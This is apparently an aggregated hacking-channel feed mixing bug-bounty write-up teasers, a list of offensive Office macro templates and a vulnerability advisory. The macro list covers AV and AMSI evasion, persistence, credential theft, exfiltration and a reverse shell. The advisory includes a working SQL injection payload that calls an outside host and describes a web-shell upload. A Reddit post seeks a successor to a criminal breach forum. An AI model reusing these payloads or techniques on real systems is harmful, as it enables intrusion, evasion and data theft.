How I found an XSS vulnerability via using emojis
https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

An unusual type of Cross-Site Scripting vulnerability made by emoticonsContinue reading on Medium » (https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Server Side Template Injections By Hashar Mujahid.
https://infosecwriteups.com/server-side-template-injections-by-hashar-mujahid-e5a1a383027e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this blog, we are going to learn bout what server-side template injections are and how they work by solving Portswiggers labs.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/server-side-template-injections-by-hashar-mujahid-e5a1a383027e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Server Side Template Injections By Hashar Mujahid.

In this blog, we are going to learn bout what server-side template injections are and how they work by solving Portswiggers labs.Continue reading on InfoSec Write-ups »
Read more...

KitPloit - PenTest Tools!
OffensiveVBA - Code Execution And AV Evasion Methods For Macros In Office Documents

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt2QNPY-RJ7ahBwOR7SdMADnOMoMKyiyKcd0YdAZRdFsupGyXNEPxoT8tTWK7E6UAFBLZaSWQbb7IV6et0i378hptCb8_UPr18jzL-PavfOQ8fLRP-3bpKj0sy9oM196TCNdrVMM1cZeonmpN1GFXtVUiv5-syx_wq5F456ljdHx6cclUhQaNqAmpu/w640-h350/OffensiveVBA.png In preparation for a VBS AV Evasion Stream/Video I was doing some research for Office Macro code execution methods and evasion techniques.

The list got longer and longer and I found no central place for offensive VBA templates - so this repo can be used for such. It is very far away from being complete. If you know any other cool technique or useful template feel free to contribute and create a pull request!

Most of the templates in this repo were already published somewhere. I just copy pasted most templates from ms-docs sites, blog posts or from other tools. Templates in this repoFile Description ShellApplication_ShellExecute.vba Execute an OS command via ShellApplication object and ShellExecute method ShellApplication_ShellExecute_privileged.vba Execute an privileged OS command via ShellApplication object and ShellExecute method - UAC prompt Shellcode_CreateThread.vba Execute shellcode in the current process via Win32 CreateThread Shellcode_EnumChildWindowsCallback.vba Execute shellcode in the current process via EnumChildWindows Win32_CreateProcess.vba Create a new process for code execution via Win32 CreateProcess function Win32_ShellExecute.vba Create a new process for code execution via Win32 ShellExecute function WMI_Process_Create.vba Create a new process via WMI for code execution WMI_Process_Create2.vba Another WMI code execution example WscriptShell_Exec.vba Execute an OS command via WscriptShell object and Exec method WscriptShell_run.vba Execute an OS command via WscriptShell object and Run method VBA-RunPE @itm4n's RunPE technique in VBA GadgetToJScript med0x2e's C# script for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts. PPID_Spoof.vba christophetd's spoofing-office-macro copy AMSIBypass_AmsiScanBuffer_ordinal.vba rmdavy's AMSI Bypass to patch AmsiScanBuffer using ordinal values for a signature bypass AMSIBypass_AmsiScanBuffer_Classic.vba rasta-mouse's classic AmsiScanBuffer patch AMSIBypass_Heap.vba rmdavy's HeapsOfFun repo copy AMSIbypasses.vba outflanknl's AMSI bypass blog COMHijack_DLL_Load.vba Load DLL via COM Hijacking COM_Process_create.vba Create process via COM object Download_Autostart.vba Download a file from a remote webserver and put it into the StartUp folder Download_Autostart_WinAPI.vba Download a file from a remote webserver via URLDownloadtoFileA and put it into the StartUp folder Dropper_Autostart.vba Drop batch file into the StartUp folder Registry_Persist_wmi.vba Create StartUp registry key for persistence via WMI Registry_Persist_wscript.vba Create StartUp registry key for persistence via wscript object ScheduledTask_Create.vba Create and start sheduled task for code execution/persistence XMLDOM_Load_XSL_Process_create.vba Load XSL from a remote webserver to execute code regsvr32_sct_DownloadExecute.vba Execute regsvr32 to download a remote webservers SCT file for code execution BlockETW.vba Patch EtwEventWrite in ntdll.dll to block ETW data collection BlockETW_COMPLUS_ETWEnabled_ENV.vba Block ETW data collection by setting the environment variable COMPLUS_ETWEnabled to 0, credit to @xpn ShellWindows_Process_create.vba ShellWindows Process create to get explorer.exe as parent process AES.vba An example to use AES encryption/decryption in VBA from Here Dropper_Executable_Autostart.vba Get executable bytes from VBA and drop into Autostart - no download in this case MarauderDrop.vba Drop a COM registered .NET DLL into temp, import the function and execut[...]

___________________________
@hacking_Attack
@Hacking_Video

e code - in this case loads a remote C# binary from a webserver to memory and executes it - credit to @Jean_Maes_1994 for MaraudersMap Dropper_Workfolders_lolbas_Execute.vba Drop an embedded executable into the TEMP directory and execute it using C:\windows\system32\Workfolders.exe as LOLBAS - credit to @YoSignals SandBoxEvasion Some SandBox Evasion templates Evasion Dropper Autostart.vba Drops a file to the Startup directory bypassing file write monitoring via renamed folder operation Evasion MsiInstallProduct.vba Installs a remote MSI package using WindowsInstaller ActiveXObject avoiding spawning suspicious office child process, the msi installation will be executed as a child of the MSIEXEC /V serviceStealNetNTLMv2.vba Steal NetNTLMv2 Hash via share connection - credit to https://book.hacktricks.xyz/windows/ntlm/places-to-steal-ntlm-creds Parse-Outlook.vba Parses Outlook for sensitive keywords and file extensions, and exfils them via email - credit to JohnWoodman Reverse-Shell.vba Reverse shell written entirely in VBA using Windows API calls - credit to JohnWoodman Missing - ToDosFile Description Unhooker.vba Unhook API's in memory to get rid of hooks Syscalls.vba Syscall usage - fresh from disk or Syswhispers like Manymore.vba If you have any more ideas feel free to contribute Obfuscators / Payload generators1. VBad
2. wePWNise
3. VisualBasicObfuscator - needs some modification as it doesn't split up lines and is therefore not usable for office document macros
4. macro_pack
5. shellcode2vbscript.py
6. EvilClippy
7. OfficePurge
8. SharpShooter
9. VBS-Obfuscator-in-Python - - needs some modification as it doesn't split up lines and is therefore not usable for office document macros Credits / usefull resourcesASR bypass: http://blog.sevagas.com/IMG/pdf/bypass_windows_defender_attack_surface_reduction.pdf

Shellcode to VBScript conversion: https://github.com/DidierStevens/DidierStevensSuite/blob/master/shellcode2vbscript.py

Bypass AMSI in VBA: https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/

VBA purging: https://www.mandiant.com/resources/purgalicious-vba-macro-obfuscation-with-vba-purging

F-Secure VBA Evasion and detection post: https://blog.f-secure.com/dechaining-macros-and-evading-edr/

One more F-Secure blog: https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/ Download OffensiveVBA

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Starlink Successfully Hacked Using $25 Modchip

https://external-preview.redd.it/8u0TgdgBltkLohVXkh8YPNa28SncCLkpBrvHHFwmBA8.jpg?width=640&crop=smart&auto=webp&s=5537b717830b4a1481fe254461c23bd95905a2b2 submitted by /u/Glad_Living3908
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Serious version of raid forums successor

I have tried breached but there are too many just trolls and shitpost and I tired of people thinking that FBI is after them and getting actual life .

Nulled.to is same and dead

Is there a good forum where they are actually serious. I am OK with little fun but hurts when people do not realize that destroying them.

submitted by /u/Ornery-Balance9516
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gas Agency Management 2022 SQL Injection / XSS / Shell Upload

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Gas Agency Management 2022 suffers from cross site scripting, remote SQL injection, and remote shell upload vulnerabilities.

SHA-256 | fbd80e45f29f9c744b81fc81cb49905ea0ee4dbf9f49738b949c8e75caba6e49

Download
## Title: Gas Agency Management-2022 by Mayuri K - SQLi+FU-RCE+XSS
## Author: nu11secur1ty
## Date: 08.12.2022
## Vendor Homepage: https://www.mayurik.com/#download_section
## Software Link-0:
https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html
## Software Link-1:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022/Docs/gasmark.zip
## Description:
The Gas Agency Management-2022 by Mayuri K suffers from multiple
vulnerabilities, which means this project must be deprecated
immediately!

1. - SQLi: the parameter username is vulnerable to time-based blind
(query SLEEP) injection - not sanitizing well.
2. - Unauthenticated file upload - not sanitizing upload function -
possible to upload .php extension files on photo section, for the
customers.
3. - XSS-reflected in the section adds customer in address function.
4. - Web shell file upload - unauthenticated extension file upload, in
this case, is PHP web shell uploader. After this, the malicious user
can execute the already uploaded file remotely, and he can destroy
completely this flawed system.
5. - STATUS: For termination of the project.

[+]Payloads:

```mysql
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=mxiusQzi'+(select
load_file('\\\\alzg6yrkl2xieezgaz9zqnya91fu3lw9ncb4yumj.tupaciganka.com\\jfe'))+''
AND (SELECT 9964 FROM (SELECT(SLEEP(5)))bVfa)--
FygL&password=r8H!r2a!U2&login=
---
```
[+]Unauthenticated Upload:
- - - in the video:https://streamable.com/opqz3n

[+]XSS-Reflected:
- - - in the video:https://streamable.com/opqz3n

[+]RCE:
- - - in the video:https://streamable.com/opqz3n

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)

## Proof and Exploit:
[href](https://streamable.com/opqz3n)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Readymade Job Portal Script SQL Injection

___________________________
@hacking_Attack
@Hacking_Video